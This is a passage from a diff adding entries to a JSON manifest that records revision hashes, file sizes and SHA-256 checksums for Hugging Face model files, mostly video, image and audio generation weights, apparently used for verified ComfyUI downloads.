+ "sha256": "64a7ef761bfccbadbaa3da77366aac4185a6c58fa5de5f589b42a65bcc21f161"
+ },
+ "https://huggingface.co/Comfy-Org/Wan_2.1_ComfyUI_repackaged/resolve/main/split_files/diffusion_models/wan2.1_vace_14B_fp16.safetensors": {
+ "revision": "123acf1cc74bccbb9bfff8ac1ee72edc08c2341d",
+ "sizeBytes": 34675323640,
+ "sha256": "f202a5c59b8a91ada1862c46a038214f1f7f216c61ec8350d25f69b919da4307"
+ },
+ "https://huggingface.co/Comfy-Org/Wan_2.1_ComfyUI_repackaged/resolve/main/split_files/model_patches/wan2.1_infiniteTalk_single_fp16.safetensors": {
+ "revision": "123acf1cc74bccbb9bfff8ac1ee72edc08c2341d",
+ "sizeBytes": 5125258232,
+ "sha256": "bf212c5c647eaf1c019b2158d2edf4a360d97e38b746c4bac994fee485e09fc3"
+ },
+ "https://huggingface.co/Comfy-Org/Wan_2.1_ComfyUI_repackaged/resolve/main/split_files/text_encoders/umt5_xxl_fp16.safetensors": {
+ "revision": "123acf1cc74bccbb9bfff8ac1ee72edc08c2341d",
+ "sizeBytes": 11366399385,
+ "sha256": "7b8850f1961e1cf8a77cca4c964a358d303f490833c6c087d0cff4b2f99db2af"
+ },
+ "https://huggingface.co/Comfy-Org/Wan_2.1_ComfyUI_repackaged/resolve/main/split_files/text_encoders/umt5_xxl_fp8_e4m3fn_scaled.safetensors": {
+ "revision": "123acf1cc74bccbb9bfff8ac1ee72edc08c2341d",
+ "sizeBytes": 6735906897,
+ "sha256": "c3355d30191f1f066b26d93fba017ae9809dce6c627dda5f6a66eaa651204f68"
+ },
+ "https://huggingface.co/Comfy-Org/Wan_2.1_ComfyUI_repackaged/resolve/main/split_files/vae/wan_2.1_vae.safetensors": {
+ "revision": "123acf1cc74bccbb9bfff8ac1ee72edc08c2341d",
+ "sizeBytes": 253815318,
+ "sha256": "2fc39d31359a4b0a64f55876d8ff7fa8d780956ae2cb13463b0223e15148976b"
+ },
+ "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/audio_encoders/wav2vec2_large_english_fp16.safetensors": {
+ "revision": "ee6f4a40737a995bf5818954cfce6d59443b0f04",
+ "sizeBytes": 630997322,
+ "sha256": "f0017a43ea57ef6b3d4866be607844bbd8cada6d30966f7d70044ed0d63d3f9e"
+ },
+ "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_fun_camera_high_noise_14B_fp8_scaled.safetensors": {
+ "revision": "ee6f4a40737a995bf5818954cfce6d59443b0f04",
+ "sizeBytes": 15301408048,
+ "sha256": "89a99cb5ab29e388f2e24fddac48eab4d88ca339d236c7a8d96aabacd0f525ae"
+ },
+ "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_fun_camera_low_noise_14B_fp8_scaled.safetensors": {
+ "revision": "ee6f4a40737a995bf5818954cfce6d59443b0f04",
+ "sizeBytes": 15301408048,
+ "sha256": "a2b7b361e3fad907958aa6ad662a3673bad5ffdce14706cffde4baabb98f9020"
+ },
+ "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_fun_control_high_noise_14B_fp8_scaled.safetensors": {
+ "revision": "ee6f4a40737a995bf5818954cfce6d59443b0f04",
+ "sizeBytes": 14296064656,
+ "sha256": "aa2f6b6f4cfc8a75a273a075db31730530f93320a996b153b8825205c3a3c498"
+ },
+ "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_fun_control_low_noise_14B_fp8_scaled.safetensors": {
+ "revision": "ee6f4a40737a995bf5818954cfce6d59443b0f04",
+ "sizeBytes": 14296064656,
+ "sha256": "0f83c7b1cd6d509ff3504a8f604ca9d9876a8b1ed04f6e05095c4a7ccb9009cd"
+ },
+ "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_fun_vace_high_noise_14B_fp8_scaled.safetensors": {
+ "revision": "ee6f4a40737a995bf5818954cfce6d59443b0f04",
+ "sizeBytes": 17346056104,
+ "sha256": "23130f30207f6c8697a5bead113ddc9904cfbb5e8fa51a550df3cee4d21fb54c"
+ },
+ "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_fun_vace_low_noise_14B_fp8_scaled.safetensors": {
+ "revision": "ee6f4a40737a995bf5818954cfce6d59443b0f04",
+ "sizeBytes": 17346056104,
+ "sha256": "ca55a5cc543e28576edbd2079f8c1de05f71cd9e85bf96fab635f55663dbcb69"
+ },
+ "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_i2v_high_noise_14B_fp8_scaled.safetensors": {
+ "revision": "ee6f4a40737a995bf5818954cfce6d59443b0f04",
+ "sizeBytes": 14294742832,
+ "sha256": "6122e79d55e0f235698d11d657f3b196c5273c830da00b2b013c5a048d5e6a42"
+ },
+ "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_i2v_low_noise_14B_fp8_scaled.safetensors": {
+ "revision": "ee6f4a40737a995bf5818954cfce6d59443b0f04",
+ "sizeBytes": 14294742832,
+ "sha256": "5471a457b6ac404202a5fbe6c11595a3d5641fc766b00f38763f72303fffc21e"
+ },
+ "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_s2v_14B_fp8_scaled.safetensors": {
+ "revision": "ee6f4a40737a995bf5818954cfce6d59443b0f04",
+ "sizeBytes": 16394832474,
+ "sha256": "140e75af5534ac3d91e710d9df756f7032addd64b341ba2c1c70e3e6da9aa216"
+ },
+ "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_t2v_high_noise_14B_fp8_scaled.safetensors": {
+ "revision": "ee6f4a40737a995bf5818954cfce6d59443b0f04",
+ "sizeBytes": 14293923632,
+ "sha256": "cad711ae211c8b23455ec68cd6a190a33a3d874234a77eb57266d73f8f0e6c9f"
+ },
+ "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_t2v_low_noise_14B_fp8_scaled.safetensors": {
+ "revision": "ee6f4a40737a995bf5818954cfce6d59443b0f04",
+ "sizeBytes": 14293923632,
+ "sha256": "e71b96d7c82e638694c5e7fb98fac4bfb0e4ddc5fbbb4b1df40da8f0f1278a97"
+ },
+ "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_ti2v_5B_fp16.safetensors": {
+ "revision": "ee6f4a40737a995bf5818954cfce6d59443b0f04",
+ "sizeBytes": 9999658848,
+ "sha256": "456f901338bd9eadbded3828b819109a9b68e8a525ca5cf8d0049a69fcfeca1e"
+ },
+ "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/loras/wan2.2_i2v_lightx2v_4steps_lora_v1_high_noise.safetensors": {
+ "revision": "ee6f4a40737a995bf5818954cfce6d59443b0f04",
+ "sizeBytes": 1226977424,
+ "sha256": "d176c808d6fc461999b68e321efcb7501b20b8c3797523ed0df14f7d1deff11e"
+ },
+ "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/loras/wan2.2_i2v_lightx2v_4steps_lora_v1_low_noise.safetensors": {
+ "revision": "ee6f4a40737a995bf5818954cfce6d59443b0f04",
+ "sizeBytes": 1226977424,
+ "sha256": "024f21de095bc8fad9809ded3e9e49a2e170dcf27075da8145ba7d60d8aab7f9"
+ },
+ "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/loras/wan2.2_t2v_lightx2v_4steps_lora_v1.1_high_noise.safetensors": {
+ "revision": "ee6f4a40737a995bf5818954cfce6d59443b0f04",
+ "sizeBytes": 1226977424,
+ "sha256": "698321cb86bd30c4af06c9b84e656a1048c8cb54e06d50694536fb5de37fde41"
+ },
+ "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/loras/wan2.2_t2v_lightx2v_4steps_lora_v1.1_low_noise.safetensors": {
+ "revision": "ee6f4a40737a995bf5818954cfce6d59443b0f04",
+ "sizeBytes": 1226977424,
+ "sha256": "ec95216e614b3c132c11bfb387b11feedf62163150ccc9068bca8a189771e75a"
+ },
+ "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/vae/wan2.2_vae.safetensors": {
+ "revision": "ee6f4a40737a995bf5818954cfce6d59443b0f04",
+ "sizeBytes": 1409400960,
+ "sha256": "e40321bd36b9709991dae2530eb4ac303dd168276980d3e9bc4b6e2b75fed156"
+ },
+ "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/vae/wan_2.1_vae.safetensors": {
+ "revision": "ee6f4a40737a995bf5818954cfce6d59443b0f04",
+ "sizeBytes": 253815318,
+ "sha256": "2fc39d31359a4b0a64f55876d8ff7fa8d780956ae2cb13463b0223e15148976b"
+ },
+ "https://huggingface.co/Comfy-Org/ace_step_1.5_ComfyUI_files/resolve/main/checkpoints/ace_step_1.5_turbo_aio.safetensors": {
+ "revision": "371bb1680f8c88d8c1083f6ffb6330d3d55bff76",
+ "sizeBytes": 10025478736,
+ "sha256": "67b0f43aa5c51c840bd0228e6a935d8ff416ec87e5df2fc0637da17a561252bc"
+ },
+ "https://huggingface.co/Comfy-Org/flux1-dev/resolve/main/flux1-dev-fp8.safetensors": {
+ "revision": "10cf201a3d49f7ff4de84d6a97d6a32cdfa8cb86",
+ "sizeBytes": 17246524772,
+ "sha256": "8e91b68084b53a7fc44ed2a3756d821e355ac1a7b6fe29be760c1db532f3d88a"
+ },
+ "https://huggingface.co/Comfy-Org/flux1-dev/resolve/main/flux1-dev.safetensors": {
+ "revision": "10cf201a3d49f7ff4de84d6a97d6a32cdfa8cb86",
+ "sizeBytes": 23802932552,
+ "sha256": "4610115bb0c89560703c892c59ac2742fa821e60ef5871b33493ba544683abd7"
+ },
+ "https://huggingface.co/Comfy-Org/flux1-dev/resolve/main/split_files/diffusion_models/flux1-fill-dev.safetensors": {
+ "revision": "10cf201a3d49f7ff4de84d6a97d6a32cdfa8cb86",
+ "sizeBytes": 23804922408,
+ "sha256": "03e289f530df51d014f48e675a9ffa2141bc003259bf5f25d75b957e920a41ca"
+ },
+ "https://huggingface.co/Comfy-Org/flux1-kontext-dev_ComfyUI/resolve/main/split_files/diffusion_models/flux1-dev-kontext_fp8_scaled.safetensors": {
+ "revision": "795e390e4a1200720e40af3780d5d8b96bc13ae3",
+ "sizeBytes": 11904640136,
+ "sha256": "630ba795ec64283b4230ea23cf79406c2c68b7c578229ed139f30043eadb30a2"
+ },
+ "https://huggingface.co/Comfy-Org/flux1-schnell/resolve/main/flux1-schnell.safetensors": {
+ "revision": "d31e04067066d92c55ece2b01748dcc337725d7a",
+ "sizeBytes": 23782506688,
+ "sha256": "9403429e0052277ac2a87ad800adece5481eecefd9ed334e1f348723621d2a0a"
+ },
+ "https://huggingface.co/Comfy-Org/flux2-dev/resolve/main/split_files/diffusion_models/flux2_dev_fp8mixed.safetensors": {
+ "revision": "9630c1b4b6e690497ae0c19bb6b1b35d4ebedcb7",
+ "sizeBytes": 35455599592,
+ "sha256": "863a82e4ff950a42a6b0e80bea824828f129eb1a8fbbdbd9e8cb29859127b486"
+ },
+ "https://huggingface.co/Comfy-Org/flux2-dev/resolve/main/split_files/text_encoders/mistral_3_small_flux2_bf16.safetensors": {
+ "revision": "9630c1b4b6e690497ae0c19bb6b1b35d4ebedcb7",
+ "sizeBytes": 35584897447,
+ "sha256": "7d79902f60b1aeb3a6de2cfad02f4367b5e300a1387de3d03ac717cfa3df117c"
+ },
+ "https://huggingface.co/Comfy-Org/flux2-dev/resolve/main/split_files/vae/flux2-vae.safetensors": {
+ "revision": "9630c1b4b6e690497ae0c19bb6b1b35d4ebedcb7",
+ "sizeBytes": 336213556,
+ "sha256": "d64f3a68e1cc4f9f4e29b6e0da38a0204fe9a49f2d4053f0ec1fa1ca02f9c4b5"
+ },
+ "https://huggingface.co/Comfy-Org/frame_interpolation/resolve/main/frame_interpolation/film_net_fp16.safetensors": {
+ "revision": "aa7009be4d1471ea0bac91d6fe4d7e4b637cbbfc",
+ "sizeBytes": 68882302,
+ "sha256": "f226e51375dc839d4b40e5c3d63da560dd1ea1c962364ec78f5adf2d05db05c0"
+ },
+ "https://huggingface.co/Comfy-Org/frame_interpolation/resolve/main/frame_interpolation/rife_v4.26.safetensors": {
+ "revision": "aa7009be4d1471ea0bac91d6fe4d7e4b637cbbfc",
+ "sizeBytes": 22674688,
+ "sha256": "151874592c877740e5db11522f4514df569eeafb0a0fcb2696f16e9e8d317c94"
+ },
+ "https://huggingface.co/Comfy-Org/gemma-4/resolve/main/text_encoders/gemma4_e4b_it_fp8_scaled.safetensors": {
+ "revision": "63d0f7c476756b88910170c1df75e2384ea1af31",
+ "sizeBytes": 9057782194,
+ "sha256": "bf0b4fa2e41a25684dc9e9b256cd505564f02fed09be3da95ce024e653e2c52b"
+ },
+ "https://huggingface.co/Comfy-Org/hunyuan3D_2.1_repackaged/resolve/main/hunyuan_3d_v2.1.safetensors": {
+ "revision": "d28dcff0eb85a3740955e24cb1d53def66591278",
+ "sizeBytes": 7365943290,
+ "sha256": "5f21e98a6cb99b13b5e224abaee33929570fff7af2b6a0060001559a04ba9d72"
+ },
+ "https://huggingface.co/Comfy-Org/ltx-2/resolve/main/split_files/text_encoders/gemma_3_12B_it_fp4_mixed.safetensors": {
+ "revision": "ccde4ba417d7900669fd56dd292a883cee11ff37",
+ "sizeBytes": 9447702218,
+ "sha256": "aaca463d11e6d8d2a4bdb0d6299214c15ef78a3f73e0ef8113d5a9d0219b3f6d"
+ },
+ "https://huggingface.co/Comfy-Org/sam3.1/resolve/7bb8374780a725b4353ed31f3a9395c9742b5621/checkpoints/sam3.1_multiplex_fp16.safetensors": {
+ "revision": "7bb8374780a725b4353ed31f3a9395c9742b5621",
+ "sizeBytes": 1745546848,
+ "sha256": "9ba99c92703c2e8b4f47de2d34a539bb8e18923049e238b780d70dbe6368eb03"
+ },
+ "https://huggingface.co/Comfy-Org/sam3.1/resolve/main/checkpoints/sam3.1_multiplex_fp16.safetensors": {
+ "revision": "7bb8374780a725b4353ed31f3a9395c9742b5621",
+ "sizeBytes": 1745546848,
+ "sha256": "9ba99c92703c2e8b4f47de2d34a539bb8e18923049e238b780d70dbe6368eb03"
+ },
+ "https://huggingface.co/Comfy-Org/sigclip_vision_384/resolve/main/sigclip_vision_patch14_384.safetensors": {
+ "revision": "5421dab31229df19801c8e3af446b5a8bc71a3bc",
+ "sizeBytes": 856505640,
+ "sha256": "1fee501deabac72f0ed17610307d7131e3e9d1e838d0363aa3c2b97a6e03fb33"
+ },
+ "https://huggingface.co/Comfy-Org/stable-audio-3/resolve/main/checkpoints/stable_audio_3_small_sfx.safetensors": {
+ "revision": "75aad8836271cb5a5123fb58304fae5d3bb4b0f9",
+ "sizeBytes": 2270384940,
+ "sha256": "ed9cf1b6172f1a8c2921a9560c21109ff3239524563ced9dce6dcdef41e2f515"
+ },
+ "https://huggingface.co/Comfy-Org/stable-audio-3/resolve/main/text_encoders/t5gemma_b_b_ul2.safetensors": {
+ "revision": "75aad8836271cb5a5123fb58304fae5d3bb4b0f9",
+ "sizeBytes": 1187264003,
+ "sha256": "1e1eba25be8872edb0d3c6335c6658fd6388e7b14b60da6e454e404cfcd8150e"
+ },
+ "https://huggingface.co/Comfy-Org/stable-audio-open-1.0_repackaged/resolve/main/stable-audio-open-1.0.safetensors": {
+ "revision": "3eb100708b423cf59fc5bf2a152f5cc1e7718062",
+ "sizeBytes": 4853889016,
+ "sha256": "7b20458a071231aaf32613b6fbc7945f28f34dbba4f295bb49bad56f5f66b57e"
+ },
+ "https://huggingface.co/Comfy-Org/void-model/resolve/main/diffusion_models/void_pass1.safetensors": {
+ "revision": "f9c9e565920002478ab9477f4c99c29c52d16db3",
+ "sizeBytes": 11143025952,
+ "sha256": "f3fff936d57008c39054e37ae0db6a3fd3f48ccaf1291a186e28d8760d68e6f3"
+ },
+ "https://huggingface.co/Comfy-Org/void-model/resolve/main/diffusion_models/void_pass2.safetensors": {
+ "revision": "f9c9e565920002478ab9477f4c99c29c52d16db3",
+ "sizeBytes": 11143025952,
+ "sha256": "884d96ae3be9e2c899f15446aee69260f56e21496c1005400fc6676701e67704"
+ },
+ "https://huggingface.co/Comfy-Org/void-model/resolve/main/optical_flow/raft_large_C_T_SKHT_V2-ff5fadd5.safetensors": {
+ "revision": "f9c9e565920002478ab9477f4c99c29c52d16db3",
+ "sizeBytes": 21060840,
+ "sha256": "aac3561dbbb49a30853bc7d9bb1bf39ce59cc260f670911d43c900ba27a4a8bb"
+ },
+ "https://huggingface.co/Comfy-Org/void-model/resolve/main/text_encoders/t5xxl_fp16.safetensors": {
+ "revision": "f9c9e565920002478ab9477f4c99c29c52d16db3",
+ "sizeBytes": 9787841024,
+ "sha256": "6e480b09fae049a72d2a8c5fbccb8d3e92febeb233bbe9dfe7256958a9167635"
+ },
+ "https://huggingface.co/Comfy-Org/void-model/resolve/main/vae/cogvideox_vae.safetensors": {
+ "revision": "f9c9e565920002478ab9477f4c99c29c52d16db3",
+ "sizeBytes": 431221142,
+ "sha256": "bd47d57ad948ff80da0af0cb2e4dcdef65073aba59bccfd383ada9a7d1c02024"
+ },
+ "https://huggingface.co/Comfy-Org/z_image_turbo/resolve/main/split_files/diffusion_models/z_image_turbo_bf16.safetensors": {
+ "revision": "6fc90a3b1b653e935a0d175e260736de25b84df5",
+ "sizeBytes": 12309866400,
+ "sha256": "2407613050b809ffdff18a4ac99af83ea6b95443ecebdf80e064a79c825574a6"
+ },
+ "https://huggingface.co/Comfy-Org/z_image_turbo/resolve/main/split_files/text_encoders/qwen_3_4b.safetensors": {
+ "revision": "6fc90a3b1b653e935a0d175e260736de25b84df5",
+ "sizeBytes": 8044982048,
+ "sha256": "6c671498573ac2f7a5501502ccce8d2b08ea6ca2f661c458e708f36b36edfc5a"
+ },
+ "https://huggingface.co/Comfy-Org/z_image_turbo/resolve/main/split_files/vae/ae.safetensors": {
+ "revision": "6fc90a3b1b653e935a0d175e260736de25b84df5",
+ "sizeBytes": 335304388,
+ "sha256": "afc8e28272cd15db3919bacdb6918ce9c1ed22e96cb12c4d5ed0fba823529e38"
+ },
+ "https://huggingface.co/ComfyUI-Wiki/t5-base/resolve/main/t5-base.safetensors": {
+ "revision": "6cd5e6887a033dee7a1bad4e5ea9ed43d83681f4",
+ "sizeBytes": 891646390,
+ "sha256": "a90903540cc02cbeb7ff9f823f1a80eb778c7e22426a0e620b01c77a5ec8f5b4"
+ },
+ "https://huggingface.co/DiffSynth-Studio/Qwen-Image-Layered-Control/resolve/main/qwen_image_layered_control_bf16.safetensors": {
+ "revision": "b42868fa977f681d1813188b9f9f5ee5184d6603",
+ "sizeBytes": 40861043888,
+ "sha256": "63b1966f0423bdc94d87273b8958de91e0a8f642c635f9113632d09cae3aa4ad"
+ },
+ "https://huggingface.co/FunAudioLLM/ThinkSound/resolve/main/synchformer_state_dict.pth": {
+ "revision": "7f152d1a088f91b21307337060216f0dec8d4a8f",
+ "sizeBytes": 950058171,
+ "sha256": "8aff082f2df5c3bc52759db0c865c7ee772ae6400b860d1b7e90413f2defb67c"
+ },
+ "https://huggingface.co/FunAudioLLM/ThinkSound/resolve/main/thinksound_light.ckpt": {
+ "revision": "7f152d1a088f91b21307337060216f0dec8d4a8f",
+ "sizeBytes": 5733246918,
+ "sha256": "5232db0ca3f1bca319958ea81181267e525228c226f62015d2b0fc624ce1df82"
+ },
+ "https://huggingface.co/FunAudioLLM/ThinkSound/resolve/main/vae.ckpt": {
+ "revision": "7f152d1a088f91b21307337060216f0dec8d4a8f",
+ "sizeBytes": 2521255758,
+ "sha256": "8132c32ec65bbba2f1457f2659136c5f2cb31f9902af1c659d78c9f7d3aa619e"
+ },
+ "https://huggingface.co/Kijai/MMAudio_safetensors/resolve/main/apple_DFN5B-CLIP-ViT-H-14-384_fp16.safetensors": {
+ "revision": "5984623e6b436818c6ff287ef6eec93e3e05aa3f",
+ "sizeBytes": 1973509450,
+ "sha256": "d8ad903a79adc2b29bacfeedabfa3d78b03d36d3b4dcb885c0649fe8c5d763cb"
+ },
+ "https://huggingface.co/Kijai/MMAudio_safetensors/resolve/main/mmaudio_large_44k_v2_fp16.safetensors": {
+ "revision": "5984623e6b436818c6ff287ef6eec93e3e05aa3f",
+ "sizeBytes": 2061198424,
+ "sha256": "a61378951ba4e8bfde2e977c0ad8211a7e02e1e92fd6a5b1c258a6464c1d102f"
+ },
+ "https://huggingface.co/Kijai/MMAudio_safetensors/resolve/main/mmaudio_synchformer_fp16.safetensors": {
+ "revision": "5984623e6b436818c6ff287ef6eec93e3e05aa3f",
+ "sizeBytes": 474981098,
+ "sha256": "b8d05128c76da6ee88720a89d25a5f86c603589883d02b53f563c3c66afe3581"
+ },
+ "https://huggingface.co/Kijai/MMAudio_safetensors/resolve/main/mmaudio_vae_44k_fp16.safetensors": {
+ "revision": "5984623e6b436818c6ff287ef6eec93e3e05aa3f",
+ "sizeBytes": 610966060,
+ "sha256": "2598189f081bd10c86975106e5b6e2490168667429a75b52d77671283f245649"
+ },
+ "https://huggingface.co/Kijai/MelBandRoFormer_comfy/resolve/main/MelBandRoformer_fp16.safetensors": {
+ "revision": "7dc5fa7824f1f3089a5c4b130d767004ccc1ed12",
+ "sizeBytes": 456479072,
+ "sha256": "6119aef379a6c7264e0b37db65ae1e6488b8ca4a00baf56d6d244737b8488226"
+ },
+ "https://huggingface.co/Kijai/WanVideo_comfy/resolve/main/Lightx2v/lightx2v_I2V_14B_480p_cfg_step_distill_rank64_bf16.safetensors": {
+ "revision": "8260d429d19fd7a72304cad059160b95d843913f",
+ "sizeBytes": 738005744,
+ "sha256": "85c4a61c30e0497aa44b91d93a893b624708461a56fe5485183b28fa07e2dfb3"
+ },
+ "https://huggingface.co/Kijai/WanVideo_comfy/resolve/main/Lightx2v/lightx2v_T2V_14B_cfg_step_distill_v2_lora_rank64_bf16.safetensors": {
+ "revision": "8260d429d19fd7a72304cad059160b95d843913f",
+ "sizeBytes": 630697104,
+ "sha256": "37d49218544b9e0bfb8e831d1399f451fbc5068aff6474f42a90c928363c3573"
+ },
+ "https://huggingface.co/Kijai/WanVideo_comfy/resolve/main/Wan2_1_VAE_bf16.safetensors": {
+ "revision": "8260d429d19fd7a72304cad059160b95d843913f",
+ "sizeBytes": 253806278,
+ "sha256": "1ab9a32cc2c740f6e39d80d367ce5dcc28db8c71b79b28670546b8973e9d75f9"
+ },
+ "https://huggingface.co/Kijai/WanVideo_comfy/resolve/main/umt5-xxl-enc-bf16.safetensors": {
+ "revision": "8260d429d19fd7a72304cad059160b95d843913f",
+ "sizeBytes": 11361845464,
+ "sha256": "4fa971faf306cad919033d5bbe192e571dc08452f800cbf2ec3c73977c01b2cc"
+ },
+ "https://huggingface.co/Kijai/WanVideo_comfy_GGUF/resolve/main/InfiniteTalk/Wan2_1-InfiniteTalk_Single_Q8.gguf": {
+ "revision": "8418a4ed00314a49f44b73a0d43d40aa539264da",
+ "sizeBytes": 2646330016,
+ "sha256": "c5e251c56174995d940494ec02fdf9d36da00dffdde6827829801cd171fe8ffd"
+ },
+ "https://huggingface.co/Kijai/WanVideo_comfy_fp8_scaled/resolve/main/I2V/Wan2_1-I2V-14B-480p_fp8_e4m3fn_scaled_KJ.safetensors": {
+ "revision": "033a4e487f60220b3d6e469599a6aebc46e13cee",
+ "sizeBytes": 16643349018,
+ "sha256": "2ff922282cd84589702e6e8c26e083d1160bfc2b217dd44e1ae2688441dc495d"
+ },
+ "https://huggingface.co/Kijai/WanVideo_comfy_fp8_scaled/resolve/main/WanMove/Wan21-WanMove_fp8_scaled_e4m3fn_KJ.safetensors": {
+ "revision": "033a4e487f60220b3d6e469599a6aebc46e13cee",
+ "sizeBytes": 16402832658,
+ "sha256": "88aa449ce87dae29f3e6c1ec1c6107ba1a2d5057e6547ac1720d75c71eac32e9"
+ },
+ "https://huggingface.co/Kijai/wav2vec2_safetensors/resolve/main/wav2vec2-chinese-base_fp16.safetensors": {
+ "revision": "87847d3bc53702afda44078249e7c33e867827c4",
+ "sizeBytes": 190115368,
+ "sha256": "000813e441020f18cff844c969d2d5d4adc2a5ce46b2db1f23950b05d88805b4"
+ },
+ "https://huggingface.co/Lightricks/LTX-2.3-fp8/resolve/main/ltx-2.3-22b-distilled-fp8.safetensors": {
+ "revision": "91eda216f820e5ecb3d17dc9fe3b7cdaf56b587d",
+ "sizeBytes": 29531884062,
+ "sha256": "d9646b6f2d5c42d337b23671634c43bfeece6989644f51b4a3aa088465ccd3b2"
+ },
+ "https://huggingface.co/Lightricks/LTX-2/resolve/main/ltx-2-19b-dev-fp8.safetensors": {
+ "revision": "64f65d09e0b76c96202b5bc09997673184cf9b5d",
+ "sizeBytes": 27078716018,
+ "sha256": "8a67e709b6d1adc061cb19921887a5c15754178199e45801a04310e9b522760d"
+ },
+ "https://huggingface.co/Lightricks/LTX-2/resolve/main/ltx-2-19b-distilled-lora-384.safetensors": {
+ "revision": "64f65d09e0b76c96202b5bc09997673184cf9b5d",
+ "sizeBytes": 7674558424,
+ "sha256": "2718f89582003cbb5b616635f18c091641917a3f3e5a2f2ad0fb3d5fdd153534"
+ },
+ "https://huggingface.co/Lightricks/LTX-2/resolve/main/ltx-2-spatial-upscaler-x2-1.0.safetensors": {
+ "revision": "64f65d09e0b76c96202b5bc09997673184cf9b5d",
+ "sizeBytes": 995765578,
+ "sha256": "3160fabf8edf0bc4dd8de40353a180813b111ce586b655ad54af9a7b8c6736de"
+ },
+ "https://huggingface.co/VAST-AI/TripoSplat/resolve/main/clip_vision/dino_v3_vit_h.safetensors": {
+ "revision": "56a96e603204ec410c4da60c13ea4fa09a2169a9",
+ "sizeBytes": 1681247696,
+ "sha256": "a29ef35101a16966972a0d50732a6f3a608ff7cfffb2afa9bbe9007cb842cc53"
+ },
+ "https://huggingface.co/VAST-AI/TripoSplat/resolve/main/diffusion_models/triposplat_fp16.safetensors": {
+ "revision": "56a96e603204ec410c4da60c13ea4fa09a2169a9",
+ "sizeBytes": 741106994,
+ "sha256": "c870b97ac1d6bc9177608a5ec625e19ef9f3c5019aa68f64b0fb7803abcd6d20"
+ },
+ "https://huggingface.co/VAST-AI/TripoSplat/resolve/main/vae/triposplat_vae_decoder_fp16.safetensors": {
+ "revision": "56a96e603204ec410c4da60c13ea4fa09a2169a9",
+ "sizeBytes": 576148442,
+ "sha256": "ed0d0c3d43b599e326845d0ec70f3cf77be9a55e2d97627ac3b34d2830763cc8"
+ },
+ "https://huggingface.co/akatz-ai/MiniMax-H3-Character-Swap-LoRA/resolve/a665bb7e3bb9804e487d2925f67744f554c8ad49/h3_character_swap_pro4500_1000.safetensors": {
+ "revision": "a665bb7e3bb9804e487d2925f67744f554c8ad49",
+ "sizeBytes": 155110320,
+ "sha256": "4b2a3f420ae804c0aa3422761ff84dbd1bf52eef6900ffab6d2e66df63cb4e79"
+ },
+ "https://huggingface.co/akatz-ai/MiniMax-H3-Character-Swap-LoRA/resolve/d06323b7c8e70e97cdab48b78a1e05f786c8cba9/h3_character_swap_v1.5.safetensors": {
+ "revision": "d06323b7c8e70e97cdab48b78a1e05f786c8cba9",
+ "sizeBytes": 155110792,
+ "sha256": "8f2c3c3eba161df8d0c6099598b4730f641f5ce01e04cd16d2427cff8a35218f"
+ },
+ "https://huggingface.co/akatz-ai/MiniMax-H3-Person-Remover-LoRA/resolve/fe136b3dc93aea993b9f194d48ea9859fdc2de14/H3-Person-Remover-V1.safetensors": {
+ "revision": "fe136b3dc93aea993b9f194d48ea9859fdc2de14",
+ "sizeBytes": 155110584,
+ "sha256": "b01dc9fe888c2f4e455a8eb3b4878dfd4038ee0e2320a7b186c7935e65c93ba5"
+ },
+ "https://huggingface.co/alibaba-pai/Z-Image-Turbo-Fun-Controlnet-Union/resolve/main/Z-Image-Turbo-Fun-Controlnet-Union.safetensors": {
+ "revision": "01c794d57ff16844b24d0580471fa9d686e7a465",
+ "sizeBytes": 3101572408,
+ "sha256": "86c085c0d7853f12ce5183499934b54d08371c60f549c5a6b20615cd23989388"
+ },
+ "https://huggingface.co/black-forest-labs/FLUX.2-klein-4b-fp8/resolve/main/flux-2-klein-4b-fp8.safetensors": {
+ "revision": "5b4408e59397a4a37ccb46afe426d8ed86379441",
+ "sizeBytes": 4070624520,
+ "sha256": "97ed34fe0567e436200f2faee3939b88f2b5d99f8af2a4dc16532c4245c0ccb6"
+ },
+ "https://huggingface.co/black-forest-labs/FLUX.2-small-decoder/resolve/main/full_encoder_small_decoder.safetensors": {
+ "revision": "a3efc24f613ef42d9428af62fdbd6f5fd8856c4a",
+ "sizeBytes": 249519092,
+ "sha256": "ea4273f02d1fafbf8e1d1c2cf6018ed8748652eb0bf34f2dd91171f16f15ab62"
+ },
+ "https://huggingface.co/city96/Wan2.1-I2V-14B-480P-gguf/resolve/main/wan2.1-i2v-14b-480p-Q8_0.gguf": {
+ "revision": "b4b6b3b3f0f64975fb33b1d5d1a46ca24e065f03",
+ "sizeBytes": 18144640384,
+ "sha256": "db961e33570a3a7902614ea52b6e77a33d284dfc85743a05e880a02da1164b45"
